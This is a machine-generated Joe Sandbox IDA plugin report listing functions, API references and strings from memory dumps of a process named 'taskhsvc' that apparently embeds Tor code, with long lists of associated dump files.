Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003F6A10, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109

APIs

fwrite.MSVCRT ref: 003F6A3B
vfprintf.MSVCRT ref: 003F6A57
abort.MSVCRT ref: 003F6A5C

Part of subcall function 003F6A70: VirtualQuery.KERNEL32 ref: 003F6B00
Part of subcall function 003F6A70: VirtualProtect.KERNELBASE ref: 003F6B42
Part of subcall function 003F6A70: GetLastError.KERNEL32 ref: 003F6B64

VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 003F6D3B
VirtualProtect.KERNELBASE ref: 003F6D6C

Strings

@, xrefs: 003F6B2B

Memory Dump Source

Source File: 00000013.00000002.1855588250.003F6000.00000080.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C625A, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100

APIs

Part of subcall function 002AC627: event_new.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001C625F), ref: 002AC691
Part of subcall function 002AC627: event_add.LIBEVENT-2-0-5(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001C625F), ref: 002AC6AB
Part of subcall function 002AC627: __stack_chk_fail.LIBSSP-0 ref: 002AC722

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 0025B282: __stack_chk_fail.LIBSSP-0 ref: 0025B2C4

abort.MSVCRT ref: 001C6309
abort.MSVCRT ref: 001C63D7

Part of subcall function 001C65EF: __stack_chk_fail.LIBSSP-0 ref: 001C6622

__stack_chk_fail.LIBSSP-0 ref: 001C63EC

Part of subcall function 003EC2B0: abort.MSVCRT ref: 003EC2FD
Part of subcall function 003EC2B0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C1AEF), ref: 003EC312

Part of subcall function 003EC3EA: abort.MSVCRT ref: 003EC44C
Part of subcall function 003EC3EA: abort.MSVCRT ref: 003EC48B
Part of subcall function 003EC3EA: abort.MSVCRT ref: 003EC4CA
Part of subcall function 003EC3EA: event_new.LIBEVENT-2-0-5 ref: 003EC503
Part of subcall function 003EC3EA: free.MSVCRT ref: 003EC52C
Part of subcall function 003EC3EA: event_add.LIBEVENT-2-0-5 ref: 003EC560
Part of subcall function 003EC3EA: __stack_chk_fail.LIBSSP-0 ref: 003EC573

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

`", xrefs: 001C62A1
../src/or/main.c, xrefs: 001C62DD, 001C63AB
$, xrefs: 001C63C7
<_", xrefs: 001C636F

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00333BFD, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 97

APIs

abort.MSVCRT ref: 00333C50

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

abort.MSVCRT ref: 00333CED

Part of subcall function 00333BC0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00333D00), ref: 00333BF6

__stack_chk_fail.LIBSSP-0 ref: 00333D71

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 00333D40

Part of subcall function 003166E7: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00216C35), ref: 00316717

Strings

40G, xrefs: 00333D20
X1G, xrefs: 00333D28
~, xrefs: 00333CDD

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001CA737, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 95

APIs

SetProcessDEPPolicy.KERNEL32 ref: 001CA762

Part of subcall function 0021FAAB: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CA76C), ref: 0021FB18

Part of subcall function 0032B518: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,001CA774), ref: 0032B547
Part of subcall function 0032B518: __stack_chk_fail.LIBSSP-0 ref: 0032B59D

time.MSVCRT ref: 001CA77B

Part of subcall function 0032545C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CA788), ref: 00325486

Part of subcall function 003328F6: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,001CA78D), ref: 00332917

Part of subcall function 00313FB1: strchr.MSVCRT ref: 00313FF5
Part of subcall function 00313FB1: __stack_chk_fail.LIBSSP-0 ref: 00314053

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

__stack_chk_fail.LIBSSP-0 ref: 001CA93D

Part of subcall function 003308B7: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,001CA819), ref: 00330901

evutil_secure_rng_set_urandom_device_file.LIBEVENT-2-0-5 ref: 001CA852

Part of subcall function 0033051A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003307D7), ref: 00330566

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

0@, xrefs: 001CA737
x@, xrefs: 001CA907
D@, xrefs: 001CA81D

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0022990B, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 92

APIs

SHGetSpecialFolderLocation.SHELL32 ref: 00229964
_getcwd.MSVCRT ref: 0022997C

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

SHGetPathFromIDListA.SHELL32 ref: 002299D9

Part of subcall function 00315895: strlen.MSVCRT ref: 003158CA
Part of subcall function 00315895: __stack_chk_fail.LIBSSP-0 ref: 00315904

Part of subcall function 00315911: strlen.MSVCRT ref: 0031596F
Part of subcall function 00315911: __stack_chk_fail.LIBSSP-0 ref: 003159B7

__stack_chk_fail.LIBSSP-0 ref: 00229AA1

Strings

C:\Windows\System32\config\systemprofile\AppData\Roaming\tor, xrefs: 0022993C, 00229975, 0022998B, 002299B7, 002299F6, 00229A7B, 00229A91
bC, xrefs: 0022999B
c9C, xrefs: 00229A73

Memory Dump Source

Source File: 00000013.00000002.1855077166.00228000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C441C, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 66

APIs

abort.MSVCRT ref: 001C4469

Part of subcall function 00287767: abort.MSVCRT ref: 002877D7
Part of subcall function 00287767: event_new.LIBEVENT-2-0-5 ref: 00287805
Part of subcall function 00287767: abort.MSVCRT ref: 00287850
Part of subcall function 00287767: __stack_chk_fail.LIBSSP-0 ref: 00287861

Part of subcall function 001C433D: strcmp.MSVCRT ref: 001C4373
Part of subcall function 001C433D: __stack_chk_fail.LIBSSP-0 ref: 001C43AE

Part of subcall function 003EC2B0: abort.MSVCRT ref: 003EC2FD
Part of subcall function 003EC2B0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C1AEF), ref: 003EC312

event_base_once.LIBEVENT-2-0-5 ref: 001C452C
__stack_chk_fail.LIBSSP-0 ref: 001C453D

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

0?, xrefs: 001C44C6
../src/or/main.c, xrefs: 001C443D
`?, xrefs: 001C44E8
@?, xrefs: 001C44D7

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
